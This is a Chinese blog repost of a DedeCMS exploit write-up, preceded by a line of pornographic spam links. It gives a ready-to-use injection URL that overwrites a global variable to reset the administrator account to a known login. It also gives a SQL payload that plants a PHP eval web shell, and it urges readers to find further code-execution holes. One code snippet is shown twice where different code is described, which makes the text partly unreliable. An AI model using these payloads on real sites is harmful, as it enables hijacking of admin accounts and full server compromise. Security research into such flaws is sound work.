日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

dedecms最新版本修改任意管理员漏洞

發(fā)布時(shí)間:2023/12/13 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 dedecms最新版本修改任意管理员漏洞 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

此漏洞無視gpc轉(zhuǎn)義,過80sec注入防御。

補(bǔ)充下,不用擔(dān)心后臺(tái)找不到。這只是一個(gè)demo,都能修改任意數(shù)據(jù)庫(kù)了,還怕拿不到SHELL?

起因是全局變量$GLOBALS可以被任意修改,隨便看了下,漏洞一堆,我只找了一處。

include/dedesql.class.php

1 2 3 4 5 6 7 8 9 10 11 12 13 if(isset($GLOBALS['arrs1']))? {? ????$v1?=?$v2?=?'';? ????for($i=0;isset($arrs1[$i]);$i++)? ????{? ????????$v1?.=?chr($arrs1[$i]);? ????}? ????for($i=0;isset($arrs2[$i]);$i++)? ????{? ????????$v2?.=?chr($arrs2[$i]);???//解碼ascii? ????}? ????$GLOBALS[$v1]?.=?$v2;?//注意這里不是覆蓋,是+? }
1 2 3 4 5 6 function?SetQuery($sql)? ????{? ????????$prefix="#@__";? ????????$sql?=?str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);??//看到這里無話可說,不明白為什么要這樣做。? ????????$this->queryString?=?$sql;? ????}

另外說下繞過80sec防注入的方法。
同一文件中,有兩個(gè)執(zhí)行SQL的函數(shù)。ExecuteNoneQuery和ExecuteNoneQuery2
而用ExecuteNoneQuery2執(zhí)行SQL并沒有防注入,于是隨便找個(gè)用ExecuteNoneQuery2執(zhí)行的文件。

plus/download.php

1 2 3 4 5 6 function?SetQuery($sql)? ????{? ????????$prefix="#@__";? ????????$sql?=?str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);??//看到這里無話可說,不明白為什么要這樣做。? ????????$this->queryString?=?$sql;? ????}

構(gòu)造SQL語句?(提交的時(shí)候用ascii加密,程序會(huì)幫我們自動(dòng)解密的,所以無視gpc):

1 admin`?SET?`userid`='spider',?`pwd`='f297a57a5a743894a0e4'?where?id=1?#

完整SQL語句:

1 UPDATE?`dede_admin`?SET?`userid`='spider',?`pwd`='f297a57a5a743894a0e4'?where?id=1?#_downloads`?SET?downloads?=?downloads?+?1?WHERE?hash='$hash'

EXP:

1 http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

如果不出問題,后臺(tái)登錄用戶spider密碼admin
漏洞真的不止一處,各種包含,遠(yuǎn)程代碼執(zhí)行,很多,列位慢慢研究。

如果找不到后臺(tái),參見以前修改數(shù)據(jù)庫(kù)直接拿SHELL的方法

1 UPDATE?`dede_mytag`?SET?`normbody`?=?'{dede:php}file_put_contents(''spider.php'',''<!--?php?eval($_POST[spider]);?-->'');{/dede:php}'?WHERE?`aid`?=1?LIMIT?1?;

配圖:

1.查看dede當(dāng)前版本

2.執(zhí)行exp

3.測(cè)試登陸后臺(tái)spider密碼admin

轉(zhuǎn)載于:https://www.cnblogs.com/milantgh/p/3615762.html

總結(jié)

以上是生活随笔為你收集整理的dedecms最新版本修改任意管理员漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。